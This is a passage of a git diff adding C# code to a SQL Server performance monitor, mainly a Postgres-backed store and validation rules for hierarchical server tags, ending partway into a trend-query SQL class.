+    public static string DuplicateNameMessage(string name, string parentName) =>
+        parentName == "the root"
+            ? string.Create(CultureInfo.InvariantCulture, $"A tag named '{name}' already exists at the root.")
+            : string.Create(CultureInfo.InvariantCulture, $"A tag named '{name}' already exists under '{parentName}'.");
+
+    /// <summary>The duplicate-name text for a 23505 the store caught after the in-memory check passed (a writer
+    /// that does not take the lock, or a case fold the two comparers disagree on).</summary>
+    public static string ConcurrentDuplicateMessage(string? name) =>
+        name is null
+            ? "A tag with that name already exists under the target parent."
+            : string.Create(CultureInfo.InvariantCulture, $"A tag named '{name}' already exists under the target parent.");
+
+    /// <summary>Whether a sibling under <paramref name="parentId"/> (null = root) already has
+    /// <paramref name="cleanName"/>, ignoring case, other than the tag <paramref name="selfId"/>.</summary>
+    public static bool IsDuplicate(IReadOnlyList<ServerTagRow> tags, string cleanName, int? parentId, int? selfId)
+    {
+        var folded = Fold(cleanName);
+        return tags.Any(t => t.ParentId == parentId && t.Id != selfId && Fold(t.Name) == folded);
+    }
+
+    private static string Fold(string name) => name.ToLowerInvariant();
+
+    /// <summary>The checks for a create: name, colour, parent exists, depth, duplicate. Returns the refusal, or
+    /// null with the cleaned name and colour.</summary>
+    public static ServerTagWriteResult? CheckCreate(
+        IReadOnlyList<ServerTagRow> tags,
+        string? name,
+        int? parentId,
+        string? colour,
+        out string cleanName,
+        out string? cleanColour)
+    {
+        cleanColour = null;
+        var nameRefusal = CheckName(name, out cleanName);
+        if (nameRefusal is not null)
+        {
+            return nameRefusal;
+        }
+
+        var colourRefusal = CheckColour(colour, out cleanColour);
+        if (colourRefusal is not null)
+        {
+            return colourRefusal;
+        }
+
+        string parentName = "the root";
+        if (parentId is int parent)
+        {
+            var parentRow = tags.FirstOrDefault(t => t.Id == parent);
+            if (parentRow is null)
+            {
+                return UnknownParentResult(parent);
+            }
+
+            if (Depth(tags, parent) + 1 > MaxDepth - 1)
+            {
+                return new ServerTagWriteResult.Refused(DepthLimit, DepthLimitMessage);
+            }
+
+            parentName = parentRow.Name;
+        }
+
+        return IsDuplicate(tags, cleanName, parentId, null)
+            ? new ServerTagWriteResult.Conflict(DuplicateNameMessage(cleanName, parentName))
+            : null;
+    }
+
+    /// <summary>The checks for an update: the tag exists, then name, colour, and for a move the parent, cycle,
+    /// depth, and finally the duplicate check against the target parent's children. Returns the refusal, or null
+    /// with the cleaned name and colour.</summary>
+    public static ServerTagWriteResult? CheckUpdate(
+        IReadOnlyList<ServerTagRow> tags,
+        int tagId,
+        ServerTagEdit edit,
+        out string? cleanName,
+        out string? cleanColour)
+    {
+        cleanName = null;
+        cleanColour = null;
+        var tag = tags.FirstOrDefault(t => t.Id == tagId);
+        if (tag is null)
+        {
+            return new ServerTagWriteResult.NotFound(string.Create(CultureInfo.InvariantCulture, $"Tag {tagId} does not exist."));
+        }
+
+        if (edit.HasName)
+        {
+            var nameRefusal = CheckName(edit.Name, out var cleaned);
+            if (nameRefusal is not null)
+            {
+                return nameRefusal;
+            }
+
+            cleanName = cleaned;
+        }
+
+        if (edit.HasColour)
+        {
+            var colourRefusal = CheckColour(edit.Colour, out cleanColour);
+            if (colourRefusal is not null)
+            {
+                return colourRefusal;
+            }
+        }
+
+        var targetParent = tag.ParentId;
+        var targetParentName = ParentNameOf(tags, tag.ParentId);
+        if (edit.HasParent)
+        {
+            targetParent = edit.ParentId;
+            if (edit.ParentId is int parent)
+            {
+                var parentRow = tags.FirstOrDefault(t => t.Id == parent);
+                if (parentRow is null)
+                {
+                    return UnknownParentResult(parent);
+                }
+
+                if (parent == tagId || Descendants(tags, tagId).Contains(parent))
+                {
+                    return new ServerTagWriteResult.Refused(Cycle, CycleMessage);
+                }
+
+                var levels = Depth(tags, parent) + 1 + Height(tags, tagId);
+                if (levels > MaxDepth - 1)
+                {
+                    return new ServerTagWriteResult.Refused(
+                        DepthLimit,
+                        string.Create(
+                            CultureInfo.InvariantCulture,
+                            $"Moving '{tag.Name}' under '{parentRow.Name}' would nest its subtree {levels + 1} levels deep; tags nest at most four levels."));
+                }
+
+                targetParentName = parentRow.Name;
+            }
+            else
+            {
+                targetParentName = "the root";
+            }
+        }
+
+        if (edit.HasName || edit.HasParent)
+        {
+            var effectiveName = cleanName ?? tag.Name;
+            if (IsDuplicate(tags, effectiveName, targetParent, tagId))
+            {
+                return new ServerTagWriteResult.Conflict(DuplicateNameMessage(effectiveName, targetParentName));
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The check for a delete: the tag must exist.</summary>
+    public static ServerTagWriteResult? CheckDelete(IReadOnlyList<ServerTagRow> tags, int tagId) =>
+        tags.Any(t => t.Id == tagId)
+            ? null
+            : new ServerTagWriteResult.NotFound(string.Create(CultureInfo.InvariantCulture, $"Tag {tagId} does not exist."));
+
+    private static ServerTagWriteResult.NotFound UnknownParentResult(int parentId) =>
+        new(string.Create(CultureInfo.InvariantCulture, $"Parent tag {parentId} does not exist."), UnknownParent);
+
+    private static string ParentNameOf(IReadOnlyList<ServerTagRow> tags, int? parentId) =>
+        parentId is int id ? tags.FirstOrDefault(t => t.Id == id)?.Name ?? "the parent tag" : "the root";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs
new file mode 100644
index 0000000000..03f462a793
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs
@@ -0,0 +1,558 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>One tag row. <c>ParentId</c> null = a root tag. <c>Colour</c> null = no colour (a neutral pill).</summary>
+public sealed record ServerTagRow(int Id, string Name, int? ParentId, int SortOrder, string? Colour);
+
+/// <summary>One server-to-tag assignment. Many-to-many: a server carries any number of tags.</summary>
+public sealed record ServerTagAssignmentRow(int ServerId, int TagId);
+
+/// <summary>A custom alert rule whose scope is a fleet tag (<c>definition.scope = {"mode":"tag","tagId":N}</c>).
+/// Disabled rules are included: they come back into force when enabled.</summary>
+public sealed record TagScopedRule(long RuleId, string Name, bool Enabled, int ScopeTagId);
+
+/// <summary>Every tag, every assignment and every tag-scoped custom alert rule, read for one decision.</summary>
+public sealed record ServerTagSnapshot(
+    IReadOnlyList<ServerTagRow> Tags,
+    IReadOnlyList<ServerTagAssignmentRow> Assignments,
+    IReadOnlyList<TagScopedRule> Rules);
+
+/// <summary>A partial edit of one tag. A <c>Has*</c> flag false means the field was not sent. <c>ParentId</c>
+/// null with <c>HasParent</c> moves the tag to the root; <c>Colour</c> null with <c>HasColour</c> clears it.</summary>
+public sealed record ServerTagEdit(
+    bool HasName, string? Name,
+    bool HasColour, string? Colour,
+    bool HasParent, int? ParentId);
+
+/// <summary>The outcome of a structural tag write. Nothing is written for any case but <see cref="Ok"/>.</summary>
+public abstract record ServerTagWriteResult
+{
+    private ServerTagWriteResult()
+    {
+    }
+
+    /// <summary>The write committed. <c>Tag</c> is the row re-read after a create or update (null after a
+    /// delete); <c>RemovedAssignments</c> and <c>RemovedTagIds</c> describe a delete's cascade.</summary>
+    public sealed record Ok(
+        ServerTagRow? Tag,
+        int RemovedAssignments = 0,
+        IReadOnlyList<int>? RemovedTagIds = null) : ServerTagWriteResult;
+
+    /// <summary>The tag (or, with <c>Code</c> <c>unknown_parent</c>, the requested parent) does not exist.</summary>
+    public sealed record NotFound(string Message, string? Code = null) : ServerTagWriteResult;
+
+    /// <summary>A sibling already carries the name (<c>duplicate_name</c>).</summary>
+    public sealed record Conflict(string Message) : ServerTagWriteResult;
+
+    /// <summary>A rule refused the write: <c>bad_name</c>, <c>bad_colour</c>, <c>depth_limit</c> or <c>cycle</c>.</summary>
+    public sealed record Refused(string Code, string Message) : ServerTagWriteResult;
+
+    /// <summary>A delete that was not confirmed found custom alert rules scoped into the subtree, read under the
+    /// delete lock. Nothing was deleted.</summary>
+    public sealed record ConfirmRequired(IReadOnlyList<TagScopedRule> Rules, string Message) : ServerTagWriteResult;
+}
+
+/// <summary>Thrown by <see cref="ServerTagStore.AssignAsync"/> when the tag no longer exists by the time the
+/// insert runs (a foreign-key violation): the tag was deleted concurrently.</summary>
+public sealed class ServerTagGoneException : Exception
+{
+    /// <summary>Creates the exception for <paramref name="tagId"/>.</summary>
+    public ServerTagGoneException(int tagId)
+        : base(string.Create(CultureInfo.InvariantCulture, $"Tag {tagId} no longer exists."))
+    {
+        TagId = tagId;
+    }
+
+    /// <summary>The tag that is gone.</summary>
+    public int TagId { get; }
+}
+
+/// <summary>The fleet-tag store surface shared by the viewer and the MCP tools.</summary>
+public interface IServerTagStore
+{
+    /// <summary>Reads every tag, assignment and tag-scoped custom alert rule.</summary>
+    Task<ServerTagSnapshot> ReadSnapshotAsync(CancellationToken ct = default);
+
+    /// <summary>Returns the subset of <paramref name="serverIds"/> that are registered servers.</summary>
+    Task<IReadOnlySet<int>> FindRegisteredServerIdsAsync(IReadOnlyCollection<int> serverIds, CancellationToken ct = default);
+
+    /// <summary>Creates a tag. A null <paramref name="colour"/> stamps the palette colour for the new id.</summary>
+    Task<ServerTagWriteResult> CreateAsync(string name, int? parentId, string? colour, CancellationToken ct = default);
+
+    /// <summary>Applies a partial edit (rename, colour, move) to one tag.</summary>
+    Task<ServerTagWriteResult> UpdateAsync(int tagId, ServerTagEdit edit, CancellationToken ct = default);
+
+    /// <summary>Deletes a tag and its whole subtree and their assignments. Without <paramref name="confirm"/>, a
+    /// custom alert rule scoped into the subtree (read under the delete lock) refuses the delete with
+    /// <see cref="ServerTagWriteResult.ConfirmRequired"/>.</summary>
+    Task<ServerTagWriteResult> DeleteAsync(int tagId, bool confirm, CancellationToken ct = default);
+
+    /// <summary>Assigns a tag to servers; returns the ids actually inserted.</summary>
+    Task<IReadOnlyList<int>> AssignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default);
+
+    /// <summary>Removes a tag from servers; returns the ids actually removed.</summary>
+    Task<IReadOnlyList<int>> UnassignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default);
+
+    /// <summary>Whether a tag has child tags, read fresh.</summary>
+    Task<bool> HasChildrenAsync(int tagId, CancellationToken ct = default);
+
+    /// <summary>Drops every tag assignment for a removed server.</summary>
+    Task ClearForServerAsync(int serverId, CancellationToken ct = default);
+}
+
+/// <summary>
+/// The fleet-tag store (V32 <c>config.server_tags</c> + <c>config.server_tag_map</c>) over Postgres. The viewer
+/// and the MCP tools both write through it, so the depth, cycle, colour and name rules in
+/// <see cref="ServerTagRules"/> hold for every writer.
+///
+/// <para><b>Structural writes are serialized.</b> Create, update and delete each run in one transaction that
+/// first takes a transaction-scoped advisory lock, re-read the tags under it, run the rules against that
+/// snapshot and only then write. Two writers therefore cannot both pass a duplicate-name or depth check against
+/// the same stale tree. A 23505 from the per-parent unique index is the backstop for a writer that does not take
+/// the lock (an older viewer build), and for the cases where <c>lower()</c> and
+/// <c>ToLowerInvariant</c> disagree. Assign and unassign are single statements: the map has no structure to
+/// protect.</para>
+///
+/// <para>A 42501 (the seat cannot write) is never caught here; it propagates as <see cref="PostgresException"/>
+/// so each surface can map it to its own read-only message.</para>
+///
+/// <para>Bare table names resolve through the connection's search_path to the <c>config</c> schema, the same as
+/// every other config write.</para>
+/// </summary>
+public sealed class ServerTagStore : IServerTagStore
+{
+    /// <summary>Every tag, flat. The caller builds the tree. Ordered by name so sibling order is stable
+    /// without a reordering UI.</summary>
+    public const string SelectTagsSql =
+        "SELECT id, name, parent_id, sort_order, colour FROM server_tags ORDER BY name";
+
+    /// <summary>Every server-to-tag assignment, flat.</summary>
+    public const string SelectAssignmentsSql =
+        "SELECT server_id, tag_id FROM server_tag_map";
+
+    /// <summary>Creates a tag. $1 name, $2 parent_id (NULL = root). Returns the new id. A duplicate name
+    /// under the same parent violates the per-parent unique index and surfaces as 23505.</summary>
+    public const string InsertSql =
+        "INSERT INTO server_tags (name, parent_id) VALUES ($1, $2) RETURNING id";
+
+    /// <summary>Renames a tag. $1 id, $2 name.</summary>
+    public const string RenameSql =
+        "UPDATE server_tags SET name = $2 WHERE id = $1";
+
+    /// <summary>Sets (or clears, with NULL) a tag's colour. $1 id, $2 colour (<c>#RRGGBB</c> or NULL).</summary>
+    public const string SetColourSql =
+        "UPDATE server_tags SET colour = $2 WHERE id = $1";
+
+    /// <summary>Reparents a tag. $1 id, $2 new parent_id (NULL = promote to root). The caller must have
+    /// already rejected cycles and depth-cap violations against its in-memory tree.</summary>
+    public const string ReparentSql =
+        "UPDATE server_tags SET parent_id = $2 WHERE id = $1";
+
+    /// <summary>Deletes a tag. $1 id. The self-referencing FK cascades to descendants and the map cascades
+    /// to their assignments — it can never reach <c>config_monitored_servers</c>, so no server, credential
+    /// or collected history is touched. Callers still refuse the delete when the tag has children, and
+    /// offer to move them first, rather than silently removing a subtree.</summary>
+    public const string DeleteSql =
+        "DELETE FROM server_tags WHERE id = $1";
+
+    /// <summary>Whether a tag has child tags. $1 id. Read immediately before a delete, because the tag
+    /// tables are SHARED and this viewer's snapshot may be up to one refresh interval stale.</summary>
+    public const string HasChildrenSql =
+        "SELECT EXISTS (SELECT 1 FROM server_tags WHERE parent_id = $1)";
+
+    /// <summary>Assigns a tag to many servers in ONE statement. $1 server ids, $2 tag id. Bulk by design:
+    /// tagging 100 servers row-by-row would be 100 round trips. Already-assigned servers are no-ops, and
+    /// only the rows actually inserted come back.</summary>
+    public const string AssignSql =
+        "INSERT INTO server_tag_map (server_id, tag_id) SELECT unnest($1), $2 ON CONFLICT DO NOTHING RETURNING server_id";
+
+    /// <summary>Removes a tag from many servers in one statement. $1 server ids, $2 tag id. Only the rows
+    /// actually removed come back.</summary>
+    public const string UnassignSql =
+        "DELETE FROM server_tag_map WHERE server_id = ANY($1) AND tag_id = $2 RETURNING server_id";
+
+    /// <summary>Drops every tag assignment for a server. $1 server_id. Called when a server is REMOVED:
+    /// <c>server_id</c> is a deterministic hash of host+database+read-only-intent, so leaving orphaned map
+    /// rows behind would make a removed-then-re-added server silently RESURRECT its old tags.</summary>
+    public const string ClearForServerSql =
+        "DELETE FROM server_tag_map WHERE server_id = $1";
+
+    /// <summary>One tag by id, re-read after every write. $1 id.</summary>
+    public const string GetSql = @"
+SELECT id, name, parent_id, sort_order, colour
+FROM server_tags
+WHERE id = $1";
+
+    /// <summary>Every custom alert rule scoped to a fleet tag (#3350/#3367). The CASE guards the cast, so a
+    /// hand-edited non-numeric tagId reads as NULL instead of failing the whole read. No parameters.</summary>
+    public const string TagScopedRulesSql = @"
+SELECT
+    r.id,
+    r.name,
+    r.enabled,
+    CASE
+        WHEN r.definition->'scope'->>'tagId' ~ '^[0-9]{1,9}$'
+        THEN (r.definition->'scope'->>'tagId')::integer
+    END AS scope_tag_id
+FROM custom_alert_rules AS r
+WHERE r.definition->'scope'->>'mode' = 'tag'
+ORDER BY r.id";
+
+    /// <summary>Which of the requested ids are registered servers; the same registry
+    /// MonitoredServerDisplayNameAsync reads. $1 ids.</summary>
+    public const string RegisteredServerIdsSql = @"
+SELECT server_id
+FROM servers
+WHERE server_id = ANY($1)";
+
+    /// <summary>Serializes structural tag writes (create / update / delete). $1 key.</summary>
+    public const string AcquireTreeLockSql = "SELECT pg_advisory_xact_lock($1)";
+
+    /// <summary>The advisory-lock key for structural tag writes ("DARLTAGS"). Distinct from the migration lock
+    /// and the custom-alert-rule cap lock, so the three never collide in Postgres's 64-bit key space.</summary>
+    public const long TreeLockKey = 0x4441524C_54414753;
+
+    private const string UniqueViolationSqlState = "23505";
+    private const string ForeignKeyViolationSqlState = "23503";
+
+    private readonly NpgsqlDataSource _dataSource;
+    private readonly int _commandTimeoutSeconds;
+
+    /// <summary>Builds the store over a data source whose search_path reaches the <c>config</c> schema.
+    /// <paramref name="commandTimeoutSeconds"/> is applied to every command.</summary>
+    public ServerTagStore(NpgsqlDataSource dataSource, int commandTimeoutSeconds)
+    {
+        _dataSource = dataSource ?? throw new ArgumentNullException(nameof(dataSource));
+        _commandTimeoutSeconds = commandTimeoutSeconds;
+    }
+
+    /// <inheritdoc />
+    public async Task<ServerTagSnapshot> ReadSnapshotAsync(CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        var tags = await ReadTagsCoreAsync(connection, null, ct);
+        var assignments = await ReadAssignmentsCoreAsync(connection, null, ct);
+        var rules = await ReadRulesCoreAsync(connection, null, ct);
+        return new ServerTagSnapshot(tags, assignments, rules);
+    }
+
+    /// <summary>Reads every tag, flat, without the assignments or rules.</summary>
+    public async Task<IReadOnlyList<ServerTagRow>> ReadTagsAsync(CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        return await ReadTagsCoreAsync(connection, null, ct);
+    }
+
+    /// <summary>Reads every server-to-tag assignment, flat.</summary>
+    public async Task<IReadOnlyList<ServerTagAssignmentRow>> ReadAssignmentsAsync(CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        return await ReadAssignmentsCoreAsync(connection, null, ct);
+    }
+
+    /// <inheritdoc />
+    public async Task<IReadOnlySet<int>> FindRegisteredServerIdsAsync(IReadOnlyCollection<int> serverIds, CancellationToken ct = default)
+    {
+        var found = new HashSet<int>();
+        if (serverIds.Count == 0)
+        {
+            return found;
+        }
+
+        await using var command = _dataSource.CreateCommand(RegisteredServerIdsSql);
+        command.CommandTimeout = _commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = serverIds.ToArray() });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            found.Add(reader.GetInt32(0));
+        }
+
+        return found;
+    }
+
+    /// <inheritdoc />
+    public async Task<ServerTagWriteResult> CreateAsync(string name, int? parentId, string? colour, CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        try
+        {
+            await AcquireLockAsync(connection, transaction, ct);
+            var tags = await ReadTagsCoreAsync(connection, transaction, ct);
+
+            var refusal = ServerTagRules.CheckCreate(tags, name, parentId, colour, out var cleanName, out var cleanColour);
+            if (refusal is not null)
+            {
+                return refusal;
+            }
+
+            int id;
+            await using (var insert = Command(InsertSql, connection, transaction))
+            {
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = cleanName });
+                insert.Parameters.Add(NullableInt(parentId));
+                id = (int)(await insert.ExecuteScalarAsync(ct))!;
+            }
+
+            await SetColourCoreAsync(connection, transaction, id, cleanColour ?? TagColours.ForTagId(id), ct);
+            var row = await GetCoreAsync(connection, transaction, id, ct);
+            await transaction.CommitAsync(ct);
+            return new ServerTagWriteResult.Ok(row);
+        }
+        catch (PostgresException ex) when (ex.SqlState == UniqueViolationSqlState)
+        {
+            return new ServerTagWriteResult.Conflict(ServerTagRules.ConcurrentDuplicateMessage(name.Trim()));
+        }
+    }
+
+    /// <inheritdoc />
+    public async Task<ServerTagWriteResult> UpdateAsync(int tagId, ServerTagEdit edit, CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        try
+        {
+            await AcquireLockAsync(connection, transaction, ct);
+            var tags = await ReadTagsCoreAsync(connection, transaction, ct);
+
+            var refusal = ServerTagRules.CheckUpdate(tags, tagId, edit, out var cleanName, out var cleanColour);
+            if (refusal is not null)
+            {
+                return refusal;
+            }
+
+            if (edit.HasName)
+            {
+                await using var rename = Command(RenameSql, connection, transaction);
+                rename.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
+                rename.Parameters.Add(new NpgsqlParameter<string> { TypedValue = cleanName! });
+                await rename.ExecuteNonQueryAsync(ct);
+            }
+
+            if (edit.HasColour)
+            {
+                await SetColourCoreAsync(connection, transaction, tagId, cleanColour, ct);
+            }
+
+            if (edit.HasParent)
+            {
+                await using var reparent = Command(ReparentSql, connection, transaction);
+                reparent.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
+                reparent.Parameters.Add(NullableInt(edit.ParentId));
+                await reparent.ExecuteNonQueryAsync(ct);
+            }
+
+            var row = await GetCoreAsync(connection, transaction, tagId, ct);
+            await transaction.CommitAsync(ct);
+            return new ServerTagWriteResult.Ok(row);
+        }
+        catch (PostgresException ex) when (ex.SqlState == UniqueViolationSqlState)
+        {
+            var intended = edit.HasName ? edit.Name?.Trim() : null;
+            return new ServerTagWriteResult.Conflict(ServerTagRules.ConcurrentDuplicateMessage(intended));
+        }
+    }
+
+    /// <inheritdoc />
+    public async Task<ServerTagWriteResult> DeleteAsync(int tagId, bool confirm, CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+
+        await AcquireLockAsync(connection, transaction, ct);
+        var tags = await ReadTagsCoreAsync(connection, transaction, ct);
+        var refusal = ServerTagRules.CheckDelete(tags, tagId);
+        if (refusal is not null)
+        {
+            return refusal;
+        }
+
+        var subtree = ServerTagRules.Descendants(tags, tagId);
+        subtree.Add(tagId);
+        if (!confirm)
+        {
+            var scoped = (await ReadRulesCoreAsync(connection, transaction, ct)).Where(r => subtree.Contains(r.ScopeTagId)).ToList();
+            if (scoped.Count > 0)
+            {
+                return new ServerTagWriteResult.ConfirmRequired(
+                    scoped,
+                    string.Create(CultureInfo.InvariantCulture, $"Deleting tag {tagId} and its subtree would leave {scoped.Count} custom alert rule(s) scoped to it matching no server: {string.Join(", ", scoped.Select(r => $"'{r.Name}'"))}. Nothing was deleted. Repeat with confirm=true to proceed."));
+            }
+        }
+
+        var assignments = await ReadAssignmentsCoreAsync(connection, transaction, ct);
+        var removedAssignments = assignments.Count(a => subtree.Contains(a.TagId));
+
+        await using (var delete = Command(DeleteSql, connection, transaction))
+        {
+            delete.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
+            await delete.ExecuteNonQueryAsync(ct);
+        }
+
+        await transaction.CommitAsync(ct);
+        return new ServerTagWriteResult.Ok(null, removedAssignments, subtree.OrderBy(i => i).ToList());
+    }
+
+    /// <inheritdoc />
+    public Task<IReadOnlyList<int>> AssignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default) =>
+        ChangeAssignmentsAsync(AssignSql, tagId, serverIds, ct);
+
+    /// <inheritdoc />
+    public Task<IReadOnlyList<int>> UnassignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default) =>
+        ChangeAssignmentsAsync(UnassignSql, tagId, serverIds, ct);
+
+    /// <inheritdoc />
+    public async Task<bool> HasChildrenAsync(int tagId, CancellationToken ct = default)
+    {
+        await using var command = _dataSource.CreateCommand(HasChildrenSql);
+        command.CommandTimeout = _commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <inheritdoc />
+    public async Task ClearForServerAsync(int serverId, CancellationToken ct = default)
+    {
+        await using var command = _dataSource.CreateCommand(ClearForServerSql);
+        command.CommandTimeout = _commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private async Task<IReadOnlyList<int>> ChangeAssignmentsAsync(string sql, int tagId, IReadOnlyList<int> serverIds, CancellationToken ct)
+    {
+        var changed = new List<int>();
+        if (serverIds.Count == 0)
+        {
+            return changed;
+        }
+
+        await using var command = _dataSource.CreateCommand(sql);
+        command.CommandTimeout = _commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = serverIds.ToArray() });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
+        try
+        {
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                changed.Add(reader.GetInt32(0));
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState == ForeignKeyViolationSqlState && sql == AssignSql)
+        {
+            // The tag was deleted between the caller's read and this insert.
+            throw new ServerTagGoneException(tagId);
+        }
+
+        changed.Sort();
+        return changed;
+    }
+
+    private NpgsqlCommand Command(string sql, NpgsqlConnection connection, NpgsqlTransaction? transaction) =>
+        new(sql, connection, transaction) { CommandTimeout = _commandTimeoutSeconds };
+
+    private async Task AcquireLockAsync(NpgsqlConnection connection, NpgsqlTransaction transaction, CancellationToken ct)
+    {
+        await using var command = Command(AcquireTreeLockSql, connection, transaction);
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = TreeLockKey });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private async Task<List<ServerTagRow>> ReadTagsCoreAsync(NpgsqlConnection connection, NpgsqlTransaction? transaction, CancellationToken ct)
+    {
+        var tags = new List<ServerTagRow>();
+        await using var command = Command(SelectTagsSql, connection, transaction);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            tags.Add(ReadRow(reader));
+        }
+
+        return tags;
+    }
+
+    private async Task<List<ServerTagAssignmentRow>> ReadAssignmentsCoreAsync(NpgsqlConnection connection, NpgsqlTransaction? transaction, CancellationToken ct)
+    {
+        var assignments = new List<ServerTagAssignmentRow>();
+        await using var command = Command(SelectAssignmentsSql, connection, transaction);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            assignments.Add(new ServerTagAssignmentRow(reader.GetInt32(0), reader.GetInt32(1)));
+        }
+
+        return assignments;
+    }
+
+    private async Task<List<TagScopedRule>> ReadRulesCoreAsync(NpgsqlConnection connection, NpgsqlTransaction? transaction, CancellationToken ct)
+    {
+        var rules = new List<TagScopedRule>();
+        await using var command = Command(TagScopedRulesSql, connection, transaction);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            if (reader.IsDBNull(3))
+            {
+                continue;
+            }
+
+            rules.Add(new TagScopedRule(reader.GetInt64(0), reader.GetString(1), reader.GetBoolean(2), reader.GetInt32(3)));
+        }
+
+        return rules;
+    }
+
+    private async Task<ServerTagRow?> GetCoreAsync(NpgsqlConnection connection, NpgsqlTransaction transaction, int id, CancellationToken ct)
+    {
+        await using var command = Command(GetSql, connection, transaction);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = id });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        return await reader.ReadAsync(ct) ? ReadRow(reader) : null;
+    }
+
+    private async Task SetColourCoreAsync(NpgsqlConnection connection, NpgsqlTransaction transaction, int id, string? colour, CancellationToken ct)
+    {
+        await using var command = Command(SetColourSql, connection, transaction);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = id });
+        command.Parameters.Add(colour is null
+            ? new NpgsqlParameter { Value = DBNull.Value }
+            : new NpgsqlParameter<string> { TypedValue = colour });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static ServerTagRow ReadRow(NpgsqlDataReader reader) =>
+        new(
+            reader.GetInt32(0),
+            reader.GetString(1),
+            reader.IsDBNull(2) ? null : reader.GetInt32(2),
+            reader.GetInt32(3),
+            reader.IsDBNull(4) ? null : reader.GetString(4));
+
+    private static NpgsqlParameter NullableInt(int? value)
+    {
+        if (value is int v)
+        {
+            return new NpgsqlParameter<int> { TypedValue = v };
+        }
+
+        return new NpgsqlParameter { Value = DBNull.Value };
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerTrendSql.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerTrendSql.cs
new file mode 100644
index 0000000000..e01cf48c89
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerTrendSql.cs
@@ -0,0 +1,576 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The bucketed per-server trend reads shared by the desktop viewer's charts and the <c>get_server_trend</c> MCP tool,
+/// so both answer from one SQL text. Every read takes $1 server_id, $2 window start, $3 window end (naive UTC) and $4
+/// the bucket width in minutes, and is windowed on both sides. Each bucket also carries <c>first_collection_time</c>
+/// and <c>collection_count</c>, so a caller can stamp a bucket that merged nothing at its one collection's own time.
+/// </summary>
+public static class ServerTrendSql
+{
+    /// <summary>Total wait time across ALL wait types as one per-second series: the summed delta over the summed stored interval of each collection (a collection whose whole interval was unknowable is dropped, never read as 0), then summed per bucket as a time-weighted rate.</summary>
+    public const string TotalWaits = $"""
+        WITH per_collection AS
+        (
+            SELECT
+                collection_time,
+                SUM(delta_wait_time_ms) AS total_delta_ms,
+                /* #3540: the collection's STORED interval — MAX over its rows, because a wait type first
+                   seen in an otherwise steady pass carries 0 beside its siblings' real interval and adds 0
+                   to the sum; MAX is 0 only when EVERY row was unknowable (a restart), and that 0 becomes
+                   NULL through NULLIF so the point is dropped rather than rendered as 0.00. NULL (pre-V127
+                   rows) falls back to the LAG this read always used. */
+                CASE WHEN MAX(sample_interval_seconds) IS NULL
+                     THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
+                     ELSE NULLIF(MAX(sample_interval_seconds), 0)
